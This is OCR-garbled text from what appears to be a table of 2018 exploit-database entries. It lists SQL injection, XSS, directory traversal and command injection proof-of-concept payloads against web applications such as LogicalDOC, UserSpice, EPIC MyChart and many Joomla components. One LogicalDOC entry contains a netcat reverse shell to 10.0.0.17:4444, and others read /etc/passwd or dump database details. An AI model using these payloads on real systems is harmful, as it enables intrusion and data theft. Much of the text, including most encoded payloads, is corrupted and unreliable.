Lawyer
Search Script
1.0.2

2018-02-10

44016

XSS

BRMHGE

Multi Language Olx Clone
Script - Cross-Site Scripting

POST /product/olx-clone/ HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

Comment=<svg/onload=alert(document.cookie)>

Multi Language
Olx Clone Script

Multi
Language Olx
Clone Script

2018-02-11

44017

SQL Injection

BRMEE

Paypal Clone Script 1.0.9 - 'id" /

‘acctype’ SQL Injection

/registrationpersonal .php?id= AND SLEEP(10)

/registrationmail.php?acctype=1' and
extractvalue(1,/+100000Concat(0x3a,database(),0x3a,0x3a,ver
sionM*/)%23

Paypal Clone
Script

Paypal Clone
Script 1.0.9

2018-02-12

44019

Directory Traversal

LogicalDOC Enterprise 7.7.4 -
Directory Traversal

/thumbnail?docld=3375114&random=15172203412438&suffix
=.%5¢..%5¢..%5c¢..%5¢.. %5¢.. % 5¢.. %5¢.. % 5¢.. % 5¢.. %5¢..
%5¢..%5¢..%5¢..%5c¢.. % 5¢.. % S5cwindows % Scwin.ini

/convertpdf?docld=2450&control=preview&fileVersion=../../../
.1..1../letc/passwd

LogicalDOC
Enterprise

LogicalDOC
Enterprise
7.7.4

2018-02-12

44021

Command Injection

BRMGE

LogicalDOC Enterprise 7.7.4 -
Root Remote Code Execution

TOUST 7TTOMETTa7SetmTg mrTre7 T

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

710135|https://localhost:8080/frontend/|2B4A04609097A6274
DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.service
s.SettingServicelsaveSettings|[Lcom.logicaldoc.gui.common.clie
nt.beans.GUIParameter;/1603922774lcom.logicaldoc.gui.com
mon.client.beans.GUIParameter/3041767606|webservice.enab
led|truelwebdav.enabledlwebdav.usecachelfalselcommand.con
vertl/usr/bin/whoami >
test.txticommand.gsl/usr/bin/gslcommand.openssll/usr/bin/op
enssllcommand.pdftohtml|/usr/bin/pdftohtmllcommand.keytoo
111337|cmis.enabled|cmis.changeloglcmis. maxitems|200ldefaul
t.extcall.enabled|default.extcall.namelExternal
Callldefault.extcall.baseurllldefault.extcall.suffix|default.extcall.
window|_blank|default.extcall.paramsluser|112|31411155/1716l0I
71816101918161011011116/01121131610114115|6]0116]176/0118]19]6]
01201211610122/8161012318|61012412516101261111610127|128|61012913
016101311301601321331610134135|

LogicalDOC
Enterprise

LogicalDOC
Enterprise
7.7.4

Panta
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HesstEhTIV

POST /frontend/setting HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

710125lhttps://localhost:8080/frontend/I2B4A04609097A6274
DA6D61C469E4E6B|com. logicaldoc.gui.frontend.client.service
s.SettingServicelsaveSettings|[Lcom.logicaldoc.gui.common.clie
nt.beans.GUIParameter;/1603922774lcom.logicaldoc.gui.com
mon.client.beans.GUIParameter/3041767606|default.ocr.inclu
des|*.pdf,* tif,* . png, *.jpg, * .txt|default.ocr.excludes|*.odt|defa
ult.ocr.text.threshold|1|default.ocr.resolution. threshold|400locr
.timeout|90]ocr.rendres|180locr.rendres.barcodelocr.batchl2loc
r.engine|Tesseractlocr. Tesseract.pathinc -c /bin/sh 10.0.0.17
44441112131411|55110161017181610I911016]011 1112161011 3]14l6]01 1
511616101171181610119118|61012012116]012212316/0124125I

WHRIOIS L

2018-02-14

44036

SQL Injection

BRMGE

Social Oauth Login PHP -
Authentication Bypass

POST /adminLogin.php HTTP/T.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

llcarname=tact® Pasawnrd='

Social Oauth
Login PHP

Social Oauth
Login PHP

2018-02-14

44037

SQL Injection

BRMGE

SOA School Management -
‘access_login' SQL Injection

PSP IR et st e SR HTTPTTT

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

Username=1') and
extractvalue(1,concat(0x3a,user(),0x3a,version()))#&Password

=toct

SOA School
Management

SOA School
Management

2018-02-14

44038

XSS

el

userSpice 4.3 - Cross-Site
Scripting

POST /users/edit_profile.php HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da
0a705302e9c&update_bio=

userSpice

userSpice 4.3

2018-02-16

44098

SQL Injection

BEMGE

EPIC MyChart - X-Path Injection

/mychart/help.asp?topic=COMPONENTACOOKIEENABLE" AND
7900=7900 AND ("LygB"="LygB

EPIC MyChart

EPIC MyChart

2018-02-16

44100

SQL Injection

BRMGE

TV - Video Subscription -
Authentication Bypass SQL
Injection

POST /admin/login HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1, WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

Username=admin@admin.com&Password=" or 0=0 #

TV - Video
Subscription

TV - Video
Subscription

2018-02-16

44101

SQL Injection

BRMEE

UserSpice 4.3 - Blind SQL
Injection

POST /users/admin_page.php?id=75 HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75
Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

process=1&removePermission[]=5); SELECT 1 UNION SELECT
IF(BINARY

SUBSTRING (password,{0},1)="{1}', BENCHMARK(3000000,SHA
1(1)),0) Password FROM mysql.user WHERE User =
‘root'&private=Yes&changeTitle=

UserSpice

UserSpice 4.3

2018-02-16

44102

Command Injection

PR CE

Twig € 2.4.4 - Server Side
Template Iniection

/search?search_key={{Is}}

Twig

Twig<2.4.4

2018-02-16

44104

XSS

at

Joomla! Component Kubik-
Rubik Simple Image Gallery
Extended (SIGE) 3.2.3 - Cross-
Site Scripting

/plugins/content/sige/plugin_sige/print.php?img=x&caption=<i
mg % 20src=x% 20onerror=alert(%27XS5%27)>

Joomla!
Component

Joomla!
Component
Kubik-Rubik

Simple Image
Gallery
Extended
(SIGFY32 3

2018-02-16
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SQL Injection

BRMGE

Joomla! Component
Advertisement Board 3.1.0 -
‘catname’ SQL Injection

/index.php?option=com_advertisementboard&Itemid=132&tas
k=show_rss_categories&catname=YWFhJyBPUiAoUOVMRUNUI
DYwMDQgRIJPTShTRUXFQ1QgQO09VTIQoKiksQO9OQOFUKEBA
dmVyc2lvbiwoUOVMRUNUIChFTFQoNjAWNDO2MDAOLDEpPKS
ksMHg3ZTdIN2UsZGFOYWJhc2UoKSxGTE9PUIhSQUSEKDAPKj
IpKXggRIJPTSBJTkZPUk1BVEIPTI9TQOhFTUEUUEXVROIOUYBHU
kOVUCRCWSRBAKWENI SOaSHRMQa==

Joomla!
Component

Joomla!
Component
Advertisemen
tBoard 3.1.0

2018-02-16
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SQL Injection

BRMGE

Joomla! Component Aist 2.0 -
'id" SQL Injection

/index.php?option=com_aist&view=showvacancy&id=JTJkJ]TM
XITWITIWITIMITIRITIXITMXITMZITMZITMZITM3JTU 1JTRITQS)
TRMITRUTINTImITIWITIMITIATIXITMXITMZITMZITMZITM3JTU
ZJITQUTRITQUTQZITUOITINTIMITIWITMXITIITMYJTIITMZITI]
JTMOJTIUTM UTIUTM I TIUTM3ITIUTMATIUTMSITIITMXI TMwW
JTHTMXITMXJTIITMXITMYJTIUTMXITMZITIITMXITMOJTIITMX
JTMUTIITMXITM2ITISTMXITM3ITITMXITMAITITMXITM ST
JITMYITMWITIUTMYJTM)JTIITMYJTMYI TITMYJTMZITIITMY)
TMOJTIUTMYJTM UTIITMYITM 2 TIUTMYJTM3ITIITMYI TMAIT)]
JTMYJTMSJTIITMZITMWITIITMZITMXJ TIITMZITMYJ TIUTMZIT
MZJTIITMZITMOJTIITMZITM UTIITMZITM2JTIKITIKITIWI T K

Joomla!
Component

Joomla!
Component
Aist 2.0

Panta
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SQL Injection

BRMGE

Joomla! Component AllVideos
Reloaded 1.2.x - 'divid' SQL
Injection

/index.php?option=com_avreloaded&view=popup&Iltemid=55
&divid=JTIKITZKITCSITewITZmITewITc UTewJTI3ITIWITIWITImIT
JATIXITMXITMZITMZITMZITM3JTU UTRUTQSJTRMITRUTIRITIM
JTIWITIMITIRTIXITMXITMZITMZITMZITM3JTUZITQ UTRTQ T
QzZJTUOJTIATIMITIWITQZITRMITRUTQZITQXJTUOJTVMITU3ITU
ZJTIATMWITCHTMYJ TMWITMZITY XITMyJTMwITJITUITUZITQ
UTUYITIATISITIITQOITQXITUOITQXITQYITQXITUZITQ TIAITIS
JTIITU2JTQUTUYITUZITQSITRMITRUTIATISITISITIKITIKITIWITY

WHRIOIS

Joomla!
Component

Joomla!
Component
AllVideos
Reloaded
1.2.x

2018-02-16

44108

SQL Injection

BRMGE

Joomla! Component DT
Register 3.2.7 - 'id"' SQL
Injection

k
/index.php?option=com_dtregister&task=edit&controller=cate
gory&id=JTMxJTWITIWITImJTJATIXITMWITM3JTM3JTM3JTM3
JTUNTRUTQSITRMITRUTIATImITIATImITIATIXITMWITM3ITM
3JTM3JTM3JTUZITQUTRITQ UTQZITUOITI TImMITMWITCAITM
YITMATMZITMxJTMYJTMSJTIUTIATImITIRTIXITMWITM3JTM3
JTM3ITM3JTUZITY UTZITY UTYZITcOJTIRTIMITIWITY 1T Te
WITZmITeyJTCOJTVmMITcZITY 1TCOITIATM UTJITQWITNhITNKIT
MwWITIUTIATIMITIRTIXITMWITM3JTM3JTM3JTM3ITcZITY 1TZ
PTYUTYZITCOITINTIMITIWITYZITZmITC 1ITZUTCOITIAITINTISIT
IMJTIRITIXI TMWITM3JTM3JTM3JTM3JTY 2)TeyJTZmITZKITIhIT)
mMITIATYSITZUTY 2JTZmITey TZKITYXJTCOITYSITZmITZITVmITC
ZITYZTYAUTY UTZKITY I TINTY ZITZmITZ T ITZKITZITCczITISIT)
mJTJAITIXITMWITM3ITM3JTM3ITM3ITC3ITYAITY Ty TY 1UT)
hITImMITQWITNRJTNKITY UTcTewITZmITey)TcOJTVmITczITY 1)
TcOJTIATMUTIPITY UTcATewITZmITey)TcOJTVmITczITY 1Tc0)
TIATM UTIHTQWITIUTCOITYITYYITZUTY UTVMITZUTYXJTZKIT
YUTHTMWITCATMZITYZITM2JTYZJITM2JTMSJTMZITY UTIIT
MyJTISITITYZITZmITZI T ITZKITZUTV mITZUTYXITZKITY 1JTJj)
TMWITCATYXITMZITYXJTITMYITISITISITIUTQWITIITMYITISITI
SITITMWITCATMYJTMAITMZITMZITMYJTMSITIITMwWITCAIT
MyJTMATMZITMOJTMYJTMSJTITMWITCATMYJTMAITMZITM
UTMyJTMSJTIHITMWITCATMYJTMATMZITM2JTMYJTMSITIIT
MwJTcHTMYJTMATMZITM3JTMYJTMSITIITMWITcATMYJTM
ATMZITMAJTMYJTMSITIITMWITCAITMYJTMAJTMZITMS5JTMy)
TMSITIHTMWITcAITMVITMAITMZITMXITMZ ITMwWITMVITMSIT]

Joomla!
Component

Joomla!
Component
DT Register

327

2018-02-16
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SQL Injection

BRMGE

Joomla! Component Fastball
2.5 - 'season’ SQL Injection

/index.php?option=com_fastball&view=player&season=JTMyJT
I5JTIWITQXTRUTQOJTIWITIATUZITQITRITQ UTQZITUOITIWIT
MxJTMOJTMxJTM3JTIWITQ2JTUYJTRMJTRKITIATUZITQUITRIT
QUTQZITUOITIWITQZITRmMITU LUTRUTUOITIATINITISITIITQZIT
RMITRUTQZITQXJTUOITIATYOITYITCOITYXITYYITYXITcZJTY T
IUTISITITIATUZITQUTRUTQ UTQZITUOITIWITIAITQUTRITUO)
TIATMXJTMOJTMXITM3ITNKITMXJTMOJTMXJTM3ITIITMXITIS)
TISITISITITC2ITY UTey)TezI TYSITZmITZUTIATISITIITQ2ITRIT
RMJTRMITUYITIATUYJTQXTRUTQOJTIAITTMWITISITIAITMYITIS)
TISITCAITIWITQ2JTUYJTRMITRKITIWITQSITRUTQ2JTRMITUYJTRK
JTQXJTUOJTQSITRMITRUTVMITUZITQZITQATQUTRKITQXITIUT
UWJTRITUITQ3JTQSITRUTUZITIWITQ3ITUYJTRMITU LUTUWITI
WITQYJTUSITIWITCATISITYXITISITIKITIKITIWITY3JTcOJTZhI Tz

Joomla!
Component

Joomla!
Component
Fastball 2.5

2018-02-16

44110

SQL Injection

BRMGE

Joomla! Component File
Download Tracker 3.0 - SQL
Injection

/index.php 7dynfield[phone]=JTTTITISITIWITQXJTRITQOJTIWITI4
JTUZITQUTRITQUTQZITUOITIWITMOITMZITMYJTMZITIWITQ2)
TUYJTRMJTRKITIAITUZITQUUTRUTQ1ITQZITUOITIWITQZITRMITU
UTRUTUOITIATINTISITIUTQZITRMITRUTQZITQXITUOITIATC2)T
Y UTey)TezITYSITZmITZUTIATISITIITIATUZITQUTRITQ1ITQZ)
TUOITIWITIATQ UTRITUOITIAITMOITMZITMYJTMZITNKJTMOJT
MZJTMYJTMZITIUTMXITISITISITISITIUTYOITYXITCOITYXITYYITY
XITcZITY UTIATISITIUTQ2ITRITRMITRMITUYITIA TUYITQXIJTRI
TQOITIATMWITISITIRITMYJTISITISITCAITIWITQ2JTUYJTRMITRK)
TIWJTQSJTRUTQ2JTRMITUYITRKITQXJTUOJTQSITRMITRUTVMIT
UzJTQZITQATQ UTRKITQXTIUTUWITRIITUTITQ3ITQSITRITUZ)
TIWJTQ3JTUYJTRMITU LJTUWITIWITQyJTUSITIWITCAITISITYXITIS
JTIWITQXJTRUTQOJTI3JTITITIZITNKITI3&option=com_dtracker&t

Joomla!
Component

Joomla!
Component
File
Download
Tracker 3.0

2018-02-16
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SQL Injection

PR CE

Joomla! Component Form
Maker 3.6.12 - SQL Injection

?J%/(il(ﬂzl\ég 757MUeX.pnp 7opton=CcOm_TOrmImdKer S
d=1"++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),
DATABASE(),VERSION())--

/Joomla375/index.php?option=com_formmaker&view=stats&f
orm_id=1&id=1&from=1%27%20%20%55%4e%49%4{%4
€%20%41 %4 %4c%20%53%45%4C%45%43%54%20%
43%41%4e%43%41%54%5{%57 %53%28%30%78%32%
30%33%61%32%30%2c%55%53%45%52%28%29%2C
%44%41%54%41 %42 %41 %53%45%28%29%2C%56 %4
5%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%
20

/Joomla375/index.php?option=com_formmaker&view=stats&f
orm_id=1&id=1&t0=1%27%20%20%55%4e%49%4{%4e
%20%41%4C%4c%20%53%45%4C%45%43%54%20%4
3%4%4e%43%41 %54 % 5% 57 %53%28%30%78%32%3
0%33%61%32%30%2C%55%53%45%52%28%29%2¢%
44%41%54%41 %42 %41 %53%45%28%29%2C%56 %45
%52%53%49%4f%4e%28%29%29%2d%2d%20%2d %2

Joomla!
Component

Joomla!
Component
Form Maker

3.6.12

2018-02-16

44112

SQL Injection

PR CE

Joomla! Component Gallery
WD 1.3.6 - SQL Injection

/Joomla375/index.php?option=com_gallery_wd&tag_id=(UPD
ATEXML(1,CONCAT(0x2e,database(), (SELECT
(ELT(2=2,1))),version()),8599))&view=GalleryBox
&agallery_id=7

/index.php?option=com_gallery_wd&tag_id=&view=GalleryBo
x&gallery_id=%37%20%41%4e%44%20%45%58%54%52
%41%43%54%56 %41 %4C%55%45%28%37%30%39%3
2%2C%43%4f % 4e % 43%41 % 54%28%30%78%35%63%
2c%76%65%72%73%69%6f%6€%28%29%2c%28%53%
45%4C%45%43%54%20%28 %45 %4 % 54% 28 %37 %30
%39%32%3d%37%30%39%32%2C%31%29%29%29%2
C%64%61%74%61%62%61%73%65%28%29%29%29

Joomla!
Component

Joomla!
Component
Gallery WD

1.3.6
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KEss LTIV WHRIODIS A
oomla index.php/option=com_gmap&view=gm_modalg
tmpl=component&layout=default&map="+/*!08888AND */+E
XTRACTVALUE(66,CONCAT(0X5¢, (/*!08888SELECT */+GROUP
_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+
INFORMATION_SCHEMA .SCHEMATA), (SELECT+(ELT(4762=47
62,1))),CONCAT_WS(0x203a20,USER(), DATABASE(), VERSION

-

/Joomla375/index.php?option=com_gmap&view=gm_markers
&tmpl=component&layout=form_markers&cid=1' AND
(SELECT 6142 FROM(SELECT
COUNT(*),CONCAT(0x494853414e2053454e43414e,(SELECT Joomla!
(ELT(6142=6142,1))), CONCAT_WS(0x203a20,USER(), DATABA| Component
SE(),VERSION()),FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA .PLUGINS GROUP BY x)a)--
ptYARid=1&format=raw

Joomla!
Component
Google Map
Landkarten

423

Joomla! Component Google
2018-02-16 44113 SQL Injection h BEHRE Map Landkarten 4.2.3 - SQL
Injection

/Joomla375/index.php?option=com_gmap&view=gm_markers
&tmpl=component&layout=form_markers&cid=1&id=1+AND+
EXTRACTVALUE(4855,CONCAT(0x5¢, (SELECT+GROUP_CONC
AT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFOR

MATION_SCHEMA.SCHEMATA), (SELECT+(ELT(4855=4855,1))
),CONCAT_WS(0x203a20,USER(),DATABASE(), VERSION()))) &f

Armot—raw

index.php?option=com_invitex&view=invites&invite_type=JTJ
KITMATM3ITM3ITMATIWITIWITIMITIATIXITMXITMZITMZITM
ZJTM3JTU LJTRUTQSITRmMITRUTIATImITIWITImMITIRITIXITMXIT
MzJTMZITMZJTM3JTUZITQ UTRITQTITQZITUOSTIRTImITIWIT
MXJTIUTMYJTIITMZITIITMOJTITM UTITM2ITITM3ITIITM
ATHITMSITIITMXITMWITIITM)XITMXITIITMXITMYJ T TMXIT Joomla!
MzJTIITQZITRMITRUTQZITQXJTUOITVMITU3ITUZITIAI TMWITC Component
ATMYITMWITMZITYXJTMyJTMWITITU TJTUZITQ UTUYITIAITIS
JTIHITQOJTQXITUOITQXITQYITQXITUZITQUTIATISITIITU2ITQ
TUYJTUZITQSITRMITRUTIATISITISITIITMXITM UTIHITMXITM2)
TIITMXITM3ITIUTMXITMATIITMXITMSITIKITIKITIWI T k#&invi
to_anwnahara=1
/index.php?option=com_bookpro&view=orderdetail&order_nu
mber=JTMwWITMWITMwWITMOJTM UTMyJTIWITImJTJhITIXJTM 1)
TMWITMWITMWITMWITUWITeyJTZmITYZITY UTYOJTcUTey)TY
UTIATImITIWITIMITITIXITM UTMWITMWITMWITMWITQXIT
. Joomla! Component JB Bus 2.3 |ZUTYXJTZJTcSITczITY UTIRITImITIWITIATY 1Tc4TcOITey)TY ) Joomla!
2018:02:16 | 44115 SQL Injection b FRHEE | 2 order_number' SQL Injection | TYZITCOTCITYITZUTCUTY UTATMWITITIMIDTRITMUT | Component
MwWIJTMWITMWITMWITYZJTZmITZIUTYZITYxJTcOITIhITImITIAIT
MWITCATMYJTM3ITIPTMWITCATMZITY XITITQWITQWITc2JT
Y UTcy) T TYSITZmITZUTISITISITITMWITISITIKITIKI TIWITIK

Joomla!
Component
InviteX 3.0.5

Joomla! Component InviteX
2018-02-16 44114 SQL Injection | BEHnE 3.0.5 - 'invite_type' SQL
Injection

Joomla!
Component
JBBus 2.3

7MTUEX. PP 7 OPUONT—COIMT_JgIVEXVIEY armpaigiisaiayout—andin
ter_org_ind_type=JTI3JTIWJTImMJTINTIXITMXJTMZITMZITMZJT
M3JTQXJTRUTQOITIWITINTIMITIMITIAITIXITMXIJTMyJTMZJTMO
JTMTITQTITU4ITUOITUYITQXITQZITUOITU2JTQXITRIITUTITQTS
TINTIMITIATMYI TMYJTIUTIMITIRITIXITMXITMYJ TMZITMOJTM
UTQZITRMITRUTQZITQXJTUOITINTIMITIATMWITCAITM1ITYZ)
TIUTC2ITY Ty TezITY SITZmITZUTIAITISITIUTIATImITIRITIXIT
MxJTMZJTMZITMZJTM3JTUZITQ UTRITQTITQZITUOITIWITIhIT)
mMITIATQUTRITUOITIATIMITIMTIXITMXJTMYJTMZITMOJTM 1)
TMXJTNKITM)JTIhITImITIUTMXITISITISITISITITY0ITYXITCOITY
XITYYITYXITcZJTY UTIATISITISITISITIKITIKITIWITU4
Ao . # SaEE Joomla! Component jGive Joomla! Joomla!
2018-02-16 44116 5QL Injection A 2.0.9 - SQL Injection /index.php/more/campaigns-in-pin- Component C.g.mp(z’”g’;‘
display/campaigns/all/search/:?campaign_countries=JTI3JTIWJT JGive 2.0,
JMITIRITIXITMXITMZITMZITMZITM3ITQXJTRUTQOITIWITIhITIm
JTIMITIRITIXITMXITMYJTMZITMOJTM UTQ UTUAITUOJTUYITQX)
TQZJTUOJTUITQXTRUTU LTQ UTIRITIMITIATMYITMYJTIITIm
JTIRTIXITMXITMYJTMZITMOJTM UTQZITRMITRUTQZITQXJTUO)
TINTIMITIATMWITCATM UTY ZITIITC2JTY 1Tcy TczITYSITZm)
TZUTIATISITITIATImMITIRTIXITMXITMZITMZITMZITM3JTUZIT
QUTRITQUTQZITUOITIWITIMTIMITIATQTITRITUOITIAITIMITI
hITIXSTMXJTMyJTMZITMOJTM TJTMXJTNKITMxJTJRTImITIITM
XITISITISITISITIITYOITY XITCOITYXITYYITYXITczZITY 1UTIAITISITIS
e TD 7OP (0 O JOT e S [ e aSK=UE [ameasu=I TV ST T
MwITIWITIWITQXITRITQOJTIAITUZITQ TTRITQ1ITQZITUOITIWI
TMXIJTIWITY 2JTey ) TZmITZKITIATUZITQ UTRITQ1ITQZITUOITIW
JTQZJTRMITUTRUTUOITIATINITISITITQZITRMITRUTQZITQX)
TUOJTIATIATUZITQUTRITQUTQZITUOITIWITIAITUZITQTITRIT
QUTQZITUOTIWITIATUZITQUTRUTQUTQZITUOITIWITQOITQS
JTUZJITUOJTQSITRUTQZITUOITIWITQZITRMITRITQZITQXJTUOITI
ATMWITCAITM3ITY UTHITMWITCATMYJTM3ITIITQZITQxXITUZ
JTUOITITCZITYZITYAITY UTZKITYXITVMITZUTY XITZKITY 1UTIw)
TQITUZITIWITQZITQATQXITUYITISITIUTMWITCAITMYITM3ITI]
JTMWITCATM3ITY UTISITIWITQ2JTUYJTRMITRKITIWITQSITRIT
Joomlal Component JomEstate Q2JTRMITUYJTRKITQXJTUOJTQSITRMITRUTVMITUZITQZITQAT
2018-02-16 44117 SQL Injection # BEnE PRO 3 7 - id" SQL Injection QUTRKITQXTINTUZITQZITQAITQ UTRKITQXJTUOJTQXITIWITU3
: JTQAUTQUTUYITQUTIWITCOITYXITYYITZUTY UTVMITCZITYZITY
ATY UTZKITYXITIXITNKITQOITQXJTUOITQXITQYJTQXITUZITQ T
14TISITIWITRITQSITRKITQSITUOITIWITMXITIITMXITISITISITIw
JTQ2ITUYITRMITRKITIWITQSITRUTQ2JTRMITUYITRKITQXJTUOIT
QSJTRMITRUTVMITUZITQZITQAITQ UTRKITQXJTIUTUOITQXITQ
YITRUTQUTUZITIWITRITQSITRKITQSITUOITIWITMWITIUTMXITI
SITHITIWITQ2JTRITRMITRMITUYITIATUYJTQXITRUTQOJTIAITM
WITISITIRITMyJTISITISITcAITIWITQ2JTUYJTRMITRKITIWITQSITRI
JTQ2ITRMITUYITRKITQXJTUOJTQSITRMITRUTVMITUZITQZITQ4)
TQUTRKITQXITIUTUOITQXITQYIJTRITQ UTUZITIWITQ3ITUYITR
mMITUDTUWITIWITQYITUSITIWITCAITISITYXITISITIWITQXIJTRIT

/index.php?option=com_jquickcontact&task=refresh&sid=dnR
Joomla! Component 0dGo3YXM4MzNvZDVuYTM3OWVINDAwWCDYnJTIWQUSEITIw
2018-02-16 44118 SQL Injection # B2xE | JquickContact 1.3.2.2.1 - SQL [RVhUUKFDVFZBTFVFKDIYLENPTKNBVCgweDVjLHZIcnNpb24oK
Injection SwoUOVMRUNUJTIWKEVMVCgxPTEsMSkpKSxkYXRhYmFzZSg
pKSktl SUVMFa=

Joomla!
Joomla! Component

Component JomEstate

PRO 3.7

Joomla!
Joomla! Component
Component |JquickContact
1.3.2.21
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SQL Injection

BRMGE

Joomla! Component JS Autoz
1.0.9 - SQL Injection

/index.php?option=com_jsautoz&c=vehicle&view=vehicle&lay

out=listvehicles&vtype=JTMxJTIWJTQxJTRUTQOJTIWITQ UTUAT
UOJTUYJTQXJTQZJTUOJTU2JTQXTRITUITQ UTIATMYJTMyJTIj)
TQzJTRMJTRUTQZITQXJTUOITIATMWITCATM UTYZJTIITUITU
ZITQUTUYITIUTISITIITMWITCATM3ITY LTM3ITY 1UTM3JTY 1)
TJITQOITQXITUOITQXTQYITQXITUZITQ UTIATISITIITMWITC4)
TM3JTY UTM3JTY UTM3ITY UTIITU2JTQTITUYITUZITQSIJTRM)
TRUTIATISITIPTIATUZITQUTRITQTQZITUOITIWITIAITQTITR]
JTUOITIATMXJTNKITMJTIITMITISITISITISITIUTYOITYXJTCOJT

YXITYYITYXITcZITY UTIATISITISITISITIKITIKITIWITUS

/index.php?option=com_jsautoz&c=vehicle&view=vehicle&lay
out=listvehicles&pre=JTMxJTIWJTQxJTRUTQOJTIWITQ1JTU4JTU
0JTUYJTQxJTQZIJTUOJTUJTQXITRITU ITQ UTIATMYJTMYITIIIT
QzJTRMJTRUTQZITQXJTUOITIAITMWITCATM UTYZITIITU1ITUZ
JTQUTUYJTIATISITIITMWITCAITM3ITY UTM3ITY UTM3JTY 1T
JITQOITQXITUOITQXITQYITQXITUZITQ UTIATISITIITMWITCAT
M3JTYUTM3ITY UTM3ITY UTIITU2JTQUTUYITUZITQSITRMIT
RUTIATISITIITIAITUZITQTUTRITQUTQZITUOITIWITIAITQTITR])
TUOITIHTMXJTNKITM)JTITMITISITISITISITIUTYOITYXJTCOITY
XITYYITYXITcZITY UTIATISITISITISITIITIKITIWITUS

/index.php?option=com_jsautoz&c=vehicle&view=vehicle&lay
out=listvehicles&prs=TMxJTIWJTQxJTRITQOJTIWITQ1JTU4ITUO
JTUYJTQXITQZITUOITUJTQXITRITUITQ UTIAITMYJTMYITIITQ
ZJTRMJTRUTQZITQXJTUOITIATMWITCATM UTYZITIITUTITUZIT
QUTUYITIATISITIUTMWITCAITM3ITY UTM3ITY TITM3ITY 1TJj)
TQOJTQXJTUOITQXITQYJTQXITUZITQ UTIATISITIUTMWITCAITM
SITYUTMBITY LUTM3ITY UTHITU2JTQITUYITUZITQSITRMITRI
TIATISITIITIATUZITQUTRITQTITQZITUOITIWITIATQTITRITU
OJTIAITMXJTNKITMXITIUTMXITISITISITISITIUTYOITYXITCOITY X)
TYYITYXITcZITY UTIATISITISITISITIKITIKITIWITU4

2018-02-16

44120

SQL Injection

BEMGE

Joomla! Component JS Jobs
1.1.9 - SQL Injection

WHRIOIS

Joomla!
Component

Joomla!
Component
JS Autoz
1.0.9

TNdex.php/COMPONENT/]SJObS/NEWest
jobs?zipcode=JTI3JTIWITQXJTRUTQOJTIWITQ1JTUAITUOITUYJTQ
xJTQzJTUOJTUJTQXITRUTU UTQ UTIATMWITM2ITIITQZITRM)J
TRUTQZITQXJTUOITIATMWITCAITM UTYZITIITC2JTY 1TcylTez)
TYSITZmITZUTIATISITIITMWITCAITM3ITY LUTM3ITY UTIITIANT
UzITQUTRUTQUTQZITUOITIWITIAITQUTRJITUOITIAITM2JTM2)
TNKITM2JTM2JTIITMXITISITISITISITIITAUTYOITY X TCOITYXITY
YITYXITcZJTY UTIATISITISITISITIKITIKITIWITCOITQTITZMITZj&0
ption=com_jsjobs&task11=view

/index.php?option=com_jsjobs&c=resume&view=resume&layo
ut=view_resume&bd=18&sortby=1&ta=JTI4JTUTJTUWITQOJTQxJ
TUOJTQUTUATRKITRUTIAITM2JTM2JTIUTQZITRMITRUTQZITQ

XJTUOITIATMWITCAITMYITY UTIUTYOITYXITCOITYXITYYITYXITC
ZJTY UTIATISITIITMWITCAITM3ITY UTM3ITY 1JTM3JTY 1JTM3)
TYUTIUTIATUZITQUTRITQTITQZITUOITIWITIATQTITRITUOITI
AJTM2JTM2JTNKITM2JTM 2 TITMXITISITISITISITIUTC2ITY 1UTc

VT2 ITVEITZen ITZHTIAITIE ITIEITITA e ITAAD ITIEITIC

Joomla!
Component

Joomla!
Component
JS Jobs 1.1.9

2018-02-16

44121

SQL Injection

BRMGE

Joomla! Component JTicketing
2.0.16 - SQL Injection

/index.php?option=com_jticketing&view=events&layout=all&fil
ter_creator=JytVTkIPTitBTEwrUOVMRUNUKO51TEwsTnVMTCx
OdUXMLE51TEwsTNVMTCXxOdUXMLE51TEwsTnVMTCxOdUxM
LESTTEWSTNVMTCxOdUXMLENPTKNBYVCgoUOVMRUNUKOAST
1VQXONPTKNBVChOYWJsZVOuYW1IKTNFUEFSQVRPUisweDNj
NjI3MjNIKStGUKINKOIORKISTUFUSU9OXTNDSEVNQS5UQUIJ
MRVMrVOhFUKUrVEFCTEVfUONIRU1BPURBVEFCQVNFKCkpKS
XOdUXMLES1TEWSTNVMTCxOdUXMLES 1 TEWSTnVMTCxOdUx
MLES1TEWSTNVMTCXOdUXMLES1TEWSTNVMTCxOdUXMLES1
